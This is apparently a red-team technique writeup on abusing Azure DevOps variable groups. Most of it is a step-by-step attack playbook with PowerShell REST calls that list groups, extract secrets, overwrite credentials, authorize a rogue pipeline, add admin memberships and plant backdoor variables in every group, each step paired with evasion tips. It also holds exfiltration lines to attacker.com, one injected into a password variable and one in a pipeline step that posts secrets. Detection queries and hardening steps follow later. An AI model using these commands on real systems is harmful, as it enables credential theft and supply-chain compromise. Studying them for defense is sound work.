| Attribute | Details |
|---|---|
| Technique ID | CA-UNSC-016 |
| MITRE ATT&CK v18.1 | T1552.001 - Unsecured Credentials: Credentials In Files |
| Tactic | Credential Access / Privilege Escalation |
| Platforms | Entra ID / Azure DevOps / DevOps |
| Severity | Critical |
| CVE | N/A (Design flaw in permission model) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-06 |
| Affected Versions | Azure DevOps Services (all versions), Azure DevOps Server 2016-2025 |
| Patched In | No fix available; design limitation in permission delegation model |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) and 11 (Sysmon Detection) not included because (1) T1552.001 testing varies by CI/CD platform, (2) Sysmon does not capture cloud variable group operations. Remaining sections have been dynamically renumbered.
Concept: Variable groups in Azure DevOps are centralized repositories for storing secrets, API keys, and configuration values that are shared across multiple pipelines. Unlike individual pipeline variables, variable groups have an explicit authorization model and role-based access control. However, the permission delegation mechanism—combined with inadequate audit logging and the ability to modify group membership without peer review—creates a powerful escalation vector. An attacker who gains even low-privileged access (e.g., Contributor role) can identify variable groups they have admin access to (either directly or through group membership), modify secret values, or alter the list of authorized pipelines that can access the group. If “Allow access to all pipelines” is enabled, any malicious pipeline can extract secrets. If linked to Azure Key Vault, the attacker can modify credentials used by downstream infrastructure.
Attack Surface:
Business Impact: Full application and infrastructure compromise via supply chain poisoning. Variable groups often contain database credentials, API keys for payment processors, AWS/Azure service principal credentials, and deployment keys. An attacker who modifies a variable group used by a build pipeline can inject malicious environment variables that poison the compiled artifact (binary, container image, package). When thousands of downstream consumers pull the poisoned artifact, the backdoor activates in their production environments. Alternatively, the attacker can exfiltrate secrets from the variable group to establish persistent lateral movement.
Technical Context: Exploitation is trivial—often a single REST API call or UI interaction. Detection is weak because variable group modifications are logged as routine administrative actions. Many organizations fail to audit variable group access or enforce approval workflows on secret modifications.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.2.1, 1.2.3 | Secrets management and change approval |
| DISA STIG | WN10-AU-000500 | Absence of pipeline audit logging for credential modifications |
| CISA SCuBA | GCI-1.2 | Pipeline configuration and access controls |
| NIST 800-53 | AC-6 (Least Privilege), SC-7 (Boundary Protection), IA-5 (Authentication), SA-3 (System Development Life Cycle) | Restrict admin access to variable groups, require change approvals, enforce secure development practices |
| GDPR | Art. 32 (Security of Processing) | Failure to implement technical measures to prevent unauthorized modification of personal data credentials |
| DORA | Art. 9 (Protection and Prevention), Art. 10 (Detection and Response) | Detect unauthorized access to critical CI/CD components |
| NIS2 | Art. 21.1 (Risk Management), Art. 21.5 (Continuous Improvement) | Supply chain risk management and incident response |
| ISO 27001 | A.9.2.1 (User registration and access rights), A.9.2.3 (Management of privileged access), A.9.4.1 (Information access restriction) | Role-based access control, approval workflows for privileged actions |
| ISO 27005 | 7.4.3 (Privilege Escalation Risk) | Risk of unauthorized credential modification via permission inheritance |
Required Privileges:
Required Access:
Supported Versions:
Tools:
curl, Invoke-WebRequest, PostmanSupported Versions: All Azure DevOps versions
Objective: Identify which variable groups you (or your security group) have administrator access to.
Manual Steps (Azure Portal):
What to Look For:
prod-secrets, database-credentials, api-keys, service-principal-credsOpSec & Evasion:
Troubleshooting:
Objective: Change secret values in a variable group to inject malicious environment variables or poison build artifacts.
Manual Steps (Azure Portal):
Example Modification for Supply Chain Attack:
Before:
DATABASE_PASSWORD=SecurePassword123!
After (Malicious):
DATABASE_PASSWORD=SecurePassword123!; curl http://attacker.com/exfil?data=$(whoami)
This injected command will execute whenever the environment variable is used in a script.
Expected Output:
Variable group saved successfully
What This Means:
$env:DATABASE_PASSWORD) will execute the injected commandOpSec & Evasion:
Troubleshooting:
References:
Objective: Modify “Pipeline permissions” to allow a malicious pipeline to access the group’s secrets.
Manual Steps:
Alternative: Enable “Allow access to all pipelines”
What This Means:
$(VariableName) syntaxExample YAML Pipeline (Attacker-Controlled):
trigger:
- main
pool:
vmImage: 'ubuntu-latest'
variables:
- group: CompanySecrets # Newly authorized
steps:
- task: Bash@3
inputs:
targetType: 'inline'
script: |
# Extract all environment variables from variable group
env | grep -E "DATABASE|API|SECRET|CREDENTIAL" | base64 | curl -d @- http://attacker.com/exfil
OpSec & Evasion:
References:
Supported Versions: All Azure DevOps versions
Objective: Programmatically list all variable groups in a project and identify those with secrets.
Command:
# Authentication via PAT or System.AccessToken
$pat = "your_personal_access_token_here"
$orgUrl = "https://dev.azure.com/contoso"
$project = "MyProject"
# Base64 encode PAT for Basic auth
$encodedPat = [Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes(":$pat"))
$headers = @{Authorization = "Basic $encodedPat"}
# List all variable groups in project
$url = "$orgUrl/$project/_apis/distributedtask/variablegroups?api-version=6.0-preview.2"
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
# Display results
$response.value | ForEach-Object {
Write-Host "Group ID: $($_.id), Name: $($_.name), Type: $($_.type), Authorized: $($_.authorized)"
if ($_.type -eq "AzureKeyVault") {
Write-Host " ├─ Linked to Azure Key Vault: $($_.providerData.vault)"
Write-Host " └─ Service Connection: $($_.providerData.serviceEndpointId)"
}
}
Expected Output:
Group ID: 1, Name: BuildSecrets, Type: Vsts, Authorized: true
Group ID: 2, Name: ProdDatabase, Type: AzureKeyVault, Authorized: true
├─ Linked to Azure Key Vault: prod-keyvault
└─ Service Connection: 12345
Group ID: 3, Name: NuGetApiKeys, Type: Vsts, Authorized: true
What This Means:
Type: Vsts = Manually created variable group (non-secret values visible via API)Type: AzureKeyVault = Linked to Key Vault (values not exposed directly, but service connection reveals where they’re stored)Authorized: true = Your PAT/token has permission to accessOpSec & Evasion:
Objective: Retrieve actual secret values from a variable group.
Command:
# Get specific variable group details
$groupId = 1 # From previous enumeration
$groupUrl = "$orgUrl/$project/_apis/distributedtask/variablegroups/$groupId"
$groupDetails = Invoke-RestMethod -Uri $groupUrl -Headers $headers -Method Get
# Display all variables
Write-Host "Variables in group $($groupDetails.name):"
$groupDetails.variables | ForEach-Object {
$varName = $_.Key
$isSecret = $_.Value.isSecret
$value = if ($isSecret) { "***MASKED***" } else { $_.Value.value }
Write-Host " $varName = $value (Secret: $isSecret)"
}
# If non-secret variables, values are plaintext
# If secret variables, they may be masked (depends on Azure DevOps version)
# To decrypt secret variables:
# - Use System.AccessToken from within pipeline job
# - Or negotiate decryption with Azure DevOps API (limited support)
Expected Output (For Non-Secret Variables):
Variables in group BuildSecrets:
NUGET_API_KEY = NuGetApiKey9876543210ABCDEF (Secret: false)
REGISTRY_USERNAME = containeradmin (Secret: false)
REGISTRY_PASSWORD = ***MASKED*** (Secret: true)
What This Means:
OpSec & Evasion:
Objective: Programmatically change secret values in a variable group.
Command:
# Get current variable group state (to preserve other variables)
$groupId = 1
$groupUrl = "$orgUrl/$project/_apis/distributedtask/variablegroups/$groupId"
$currentGroup = Invoke-RestMethod -Uri $groupUrl -Headers $headers -Method Get
# Modify a specific variable
$currentGroup.variables["REGISTRY_PASSWORD"].value = "NewMaliciousPassword123!"
$currentGroup.variables["NUGET_API_KEY"].value = "NewRogueApiKey456!"
# Alternative: Add a new variable with malicious content
$currentGroup.variables["BACKUP_EXFIL_URL"] = @{
isSecret = $false
value = "http://attacker.com/exfil"
}
# Send the updated group back to Azure DevOps
$updateUrl = "$orgUrl/$project/_apis/distributedtask/variablegroups/$groupId"
$body = $currentGroup | ConvertTo-Json -Depth 10
Invoke-RestMethod -Uri $updateUrl -Headers $headers -Method Put -Body $body -ContentType "application/json"
Write-Host "Variable group $groupId updated successfully"
Expected Output:
Variable group 1 updated successfully
What This Means:
OpSec & Evasion:
Troubleshooting:
Read & manage scope for Pipeline LibraryReferences:
Supported Versions: All Azure DevOps versions with Key Vault integration enabled
Objective: Find variable groups that are proxies to sensitive Key Vault secrets.
Command:
# List all variable groups with Azure Key Vault links
$response = Invoke-RestMethod -Uri "$orgUrl/$project/_apis/distributedtask/variablegroups?api-version=6.0-preview.2" -Headers $headers -Method Get
$keyVaultGroups = $response.value | Where-Object { $_.type -eq "AzureKeyVault" }
foreach ($group in $keyVaultGroups) {
Write-Host "Variable Group: $($group.name)"
Write-Host " ID: $($group.id)"
Write-Host " Key Vault: $($group.providerData.vault)"
Write-Host " Service Connection: $($group.providerData.serviceEndpointId)"
Write-Host " Secrets: $($group.variables.Count)"
$group.variables.Keys | ForEach-Object { Write-Host " - $_" }
}
Expected Output:
Variable Group: ProductionSecrets
ID: 5
Key Vault: prod-keyvault
Service Connection: a1b2c3d4-e5f6-7890
Secrets: 3
- db-password
- app-secret-key
- oauth-client-secret
What This Means:
Objective: Use the service connection’s credentials to access and modify the underlying Key Vault.
Command:
# Get the service connection details
$serviceConnId = "a1b2c3d4-e5f6-7890" # From previous step
$connUrl = "$orgUrl/$project/_apis/serviceendpoint/$serviceConnId"
$connection = Invoke-RestMethod -Uri $connUrl -Headers $headers -Method Get
Write-Host "Service Connection Details:"
Write-Host " Name: $($connection.name)"
Write-Host " Auth Type: $($connection.authorization.parameters.authenticationType)"
Write-Host " Subscription: $($connection.data.subscriptionName)"
# If it's a Service Principal, extract its Object ID (if accessible)
# Then modify Key Vault access policies via Azure Resource Manager API
if ($connection.type -eq "AzureRM") {
$spnObjectId = $connection.authorization.parameters.servicePrincipalId
Write-Host " Service Principal ID: $spnObjectId"
# Now you can:
# 1. Add yourself to Key Vault access policies
# 2. Modify Key Vault secret values
# 3. Rotate credentials and lock out legitimate users
}
Expected Output:
Service Connection Details:
Name: Azure-Prod-Subscription
Auth Type: ServicePrincipalCertificate
Subscription: prod-subscription-123
Service Principal ID: 12345678-90ab-cdef-1234-567890abcdef
What This Means:
Objective: Add a malicious secret/certificate to the service principal, then authenticate as it to access Azure infrastructure.
Command (Using Entra ID APIs):
# Import AADInternals
Import-Module AADInternals
# Assuming you have the service principal's application ID and credentials (from Key Vault or elsewhere):
$appId = "12345678-90ab-cdef-1234-567890abcdef"
$tenantId = "87654321-ba98-fedc-4321-0fedcba98765"
# Method 1: If you can modify service principal (via Application Admin role)
# Add a malicious client secret
Add-AADIntServicePrincipalSecret -ServicePrincipalId $appId -TenantId $tenantId
# Method 2: Use the SPN credentials to access Azure resources
# (If you already have the current credentials)
$credentials = @{
appId = $appId
password = "stolen_password_from_keyvault"
tenantId = $tenantId
}
# Authenticate as the service principal
Connect-AzAccount -ServicePrincipal -Credential $credentials
# List accessible resources
Get-AzSubscription
Get-AzResourceGroup
OpSec & Evasion:
References:
Supported Versions: All Azure DevOps versions
Objective: Find which Entra ID/Active Directory groups have administrator role on variable groups.
Manual Steps (Azure Portal):
Command (Via REST API):
# Get variable group security details
$groupId = 1
$securityUrl = "$orgUrl/_apis/securityroles/scopes/distributedtask.library/roleassignments/resources/variablegroups/$groupId"
$security = Invoke-RestMethod -Uri $securityUrl -Headers $headers -Method Get
$security.value | ForEach-Object {
Write-Host "Identity: $($_.identity.displayName)"
Write-Host " Type: $($_.identity.entityType)"
Write-Host " Role: $($_.role.name)"
}
Expected Output:
Identity: Build Administrators
Type: Group
Role: Administrator
Identity: john.doe@company.com
User
Role: Administrator
What This Means:
Objective: Escalate privileges by joining a group that already has admin permissions.
Manual Steps (Azure Portal - If You Have Access):
Alternative (Via REST API - If You Can):
# Add user to a security group
$groupId = "your-group-id"
$userId = "your-user-object-id"
$addUrl = "$orgUrl/_apis/identities/groups/$groupId/members/$userId"
Invoke-RestMethod -Uri $addUrl -Headers $headers -Method Put
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Now that you have admin access, modify multiple variable groups to inject backdoors or exfiltrate secrets across the organization.
Command:
# Get all variable groups in project
$allGroups = (Invoke-RestMethod -Uri "$orgUrl/$project/_apis/distributedtask/variablegroups" -Headers $headers -Method Get).value
# Modify each group to add a backdoor
foreach ($group in $allGroups) {
if ($group.type -eq "Vsts") { # Only modify non-Key Vault groups
# Add a new variable with attacker's exfiltration URL
$group.variables["EXFIL_ENDPOINT"] = @{
isSecret = $false
value = "http://attacker.com/callback"
}
# Update the group
$updateUrl = "$orgUrl/$project/_apis/distributedtask/variablegroups/$($group.id)"
Invoke-RestMethod -Uri $updateUrl -Headers $headers -Method Put -Body ($group | ConvertTo-Json -Depth 10) -ContentType "application/json"
Write-Host "Modified variable group: $($group.name)"
}
}
Write-Host "Successfully injected backdoor into all variable groups"
What This Means:
OpSec & Evasion:
References:
Base URL: https://dev.azure.com/{organization}/{project}/_apis/distributedtask/variablegroups
Authentication: Basic Auth (PAT) or Bearer Token (System.AccessToken)
Key Endpoints:
| Method | Endpoint | Purpose |
|---|---|---|
| GET | /variablegroups |
List all variable groups |
| POST | /variablegroups |
Create new variable group |
| GET | /variablegroups/{id} |
Get variable group details |
| PUT | /variablegroups/{id} |
Update variable group |
| DELETE | /variablegroups/{id} |
Delete variable group |
Installation:
az extension add --name azure-devops
az devops configure --defaults organization=https://dev.azure.com/contoso project=MyProject
Common Commands:
# List variable groups
az pipelines variable-group list --output table
# Create variable group
az pipelines variable-group create --name my-group --variables key1=value1 key2=value2
# Update variable group
az pipelines variable-group update --group-id 1 --name new-name
# Delete variable group
az pipelines variable-group delete --group-id 1 --yes
# List variables in group
az pipelines variable-group variable list --group-id 1
# Add variable
az pipelines variable-group variable create --group-id 1 --name newvar --value newvalue
# Update variable
az pipelines variable-group variable update --group-id 1 --name existingvar --value updatedvalue
# Delete variable
az pipelines variable-group variable delete --group-id 1 --name oldvar
For Post-Exploitation: Entra ID Privilege Escalation
Import-Module AADInternals
# Enumerate security groups
Get-AADIntGroups
# Enumerate service principals
Get-AADIntServicePrincipals
# Add yourself to a group (if you have permissions)
Add-AADIntGroupMember -GroupId "group-guid" -UserId "your-user-id"
# Add a client secret to a service principal (hijacking)
New-AADIntServicePrincipalSecret -ServicePrincipalId "spn-guid" -TenantId "tenant-id"
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in (
"Update variable group",
"Delete variable group",
"Modify variable group security"
)
| where ActivityDetails contains "Administrator" or ActivityDetails contains "secret"
| where TimeGenerated > ago(1h)
| project TimeGenerated, InitiatedBy, OperationName, ActivityDetails, IpAddress
| summarize ModificationCount = count() by InitiatedBy, bin(TimeGenerated, 5m)
| where ModificationCount > 2 # Multiple modifications in short timeframe
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Variable Group ModificationsHigh5 minutes1 hourRule Configuration:
KQL Query:
AuditLogs
| where OperationName == "PipelineJobCompleted"
or OperationName == "PipelineJobStarted"
| where ActivityDetails contains "variablegroups" or ActivityDetails contains "secret"
| where Properties contains "curl" or Properties contains "Invoke-WebRequest" or Properties contains "exfil"
| project TimeGenerated, InitiatedBy, OperationName, IpAddress
What This Detects:
Event ID: 4674 (Privileged Object Operation)
Manual Configuration Steps (Group Policy):
gpupdate /forceFilter Patterns to Monitor:
Enforce Change Approval for Variable Group Modifications:
Applies To Versions: All Azure DevOps versions
Manual Steps (Azure Portal):
Effect: Any modification to this variable group now requires approval from designated users before taking effect.
Restrict Variable Group Administrator Access:
Manual Steps:
Validation Command:
# List all variable groups and their administrators
$allGroups = (Invoke-RestMethod -Uri "$orgUrl/$project/_apis/distributedtask/variablegroups" -Headers $headers -Method Get).value
$allGroups | ForEach-Object {
Write-Host "Group: $($_.name)"
Write-Host " Admins count: (check via UI)"
}
Disable “Allow access to all pipelines” by Default:
Manual Steps:
Policy (Organization-Level):
Encrypt Secret Variables at Rest:
Manual Steps:
Verification:
# Check if secrets are marked as encrypted
$group = Invoke-RestMethod -Uri "$orgUrl/$project/_apis/distributedtask/variablegroups/1" -Headers $headers -Method Get
$group.variables | ForEach-Object {
Write-Host "$($_.Key): Secret=$($_.Value.isSecret)"
}
Implement Separate Variable Groups by Environment:
Pattern:
dev-secrets - Development credentials (lower sensitivity)staging-secrets - Staging environment (medium sensitivity)prod-secrets - Production (highest sensitivity)Access Control:
Manual Steps:
Audit Variable Group Access Regularly:
Monthly Review Process:
$query = @{
"searchFilters" = @(@{
"name" = "Activity"
"value" = "Update variable group"
})
}
# Use Azure DevOps Audit Log API
Use Azure Key Vault for Sensitive Secrets Only:
Manual Steps:
Implement Security Group-Based Access:
Pattern:
Manual Steps:
ado-var-group-admins - For variable group administratorsado-developers - For standard developersEnable Conditional Access for Variable Group Modifications:
Manual Steps (Azure Portal):
Restrict Variable Group Modifications to Corporate NetworkManual Implementation:
Manual Steps:
PowerShell - Check Variable Group Security Configuration:
# List all variable groups and their security posture
$allGroups = (Invoke-RestMethod -Uri "$orgUrl/$project/_apis/distributedtask/variablegroups" -Headers $headers -Method Get).value
Write-Host "Variable Group Security Audit:"
Write-Host "==============================`n"
foreach ($group in $allGroups) {
Write-Host "Group: $($group.name)"
# Check if "Allow access to all pipelines" is enabled
if ($group.authorizedResources.Count -eq 0 -or $group.authorizedResources[0].id -like "*all*") {
Write-Host " ❌ WARNING: Authorized for ALL pipelines"
} else {
Write-Host " ✓ Authorized pipelines: $($group.authorizedResources.Count)"
}
# Check secret variables
$secretCount = ($group.variables.Values | Where-Object { $_.isSecret -eq $true } | Measure-Object).Count
Write-Host " Secrets: $secretCount (should be encrypted)"
# Check if Key Vault linked
if ($group.type -eq "AzureKeyVault") {
Write-Host " ✓ Linked to Key Vault: $($group.providerData.vault)"
}
Write-Host ""
}
Expected Output (If Secure):
Variable Group Security Audit:
==============================
Group: prod-secrets
✓ Authorized pipelines: 1
Secrets: 5 (should be encrypted)
✓ Linked to Key Vault: prod-keyvault
Group: dev-secrets
✓ Authorized pipelines: 3
Secrets: 2 (should be encrypted)
Update variable group action with secret in propertiesModify variable group security by unexpected userEXFIL_ENDPOINT, BACKDOOR_URL, STEAL_*test-pipeline-x, cleanup-job)Isolate:
Immediate Actions:
# Revoke PAT tokens of suspicious users
$susUser = "attacker@company.com"
# (No direct revoke API; must be done via UI or PowerShell module)
# Disable variable group temporarily
$groupId = 1
$group = Invoke-RestMethod -Uri "$orgUrl/$project/_apis/distributedtask/variablegroups/$groupId" -Headers $headers -Method Get
$group.variables = @{} # Clear all variables temporarily
Invoke-RestMethod -Uri "$orgUrl/$project/_apis/distributedtask/variablegroups/$groupId" -Headers $headers -Method Put -Body ($group | ConvertTo-Json) -ContentType "application/json"
Manual (Azure Portal):
Collect Evidence:
Command (Export Audit Logs):
# Export audit logs for variable group modifications
# (Use Azure DevOps audit export API or portal)
$auditQuery = @{
"searchText" = "variable group"
"startDate" = (Get-Date).AddDays(-7)
"endDate" = Get-Date
}
# Use Audit Log API to export
Manual (Azure Portal):
Remediate:
Steps:
Command (Restore Variables):
# If you have a backup of previous variable state
$knownGoodVariables = @{
"DATABASE_PASSWORD" = @{isSecret = $true; value = "NewSecurePassword123!"}
"API_KEY" = @{isSecret = $true; value = "NewApiKey456!"}
}
# Restore to group
Escalate:
Notify:
Incident Report Should Include:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | T1199 - Trusted Relationship | Compromised developer account or stolen PAT |
| 2 | Reconnaissance | T1087 - Account Discovery | Enumerate variable groups and permissions |
| 3 | Privilege Escalation | T1078 - Valid Accounts | Join security group with admin access to variable groups |
| 4 | Credential Access | [CA-UNSC-016] Variable Groups Abuse | Modify or extract secrets from variable groups |
| 5 | Lateral Movement | T1550 - Use Alternate Authentication Material | Use stolen credentials to access downstream systems |
| 6 | Persistence | T1537 - Transfer Data to Cloud Account | Exfiltrate credentials; establish persistent C2 |
| 7 | Impact | Supply Chain Attack | Poison build artifacts; compromise thousands of consumers |
Differences:
Exploitation:
Differences:
Exploitation:
Differences:
Best Detection: Cloud-based anomaly detection (Sentinel)
Best Evasion: Small, infrequent changes; use legitimate-sounding variable names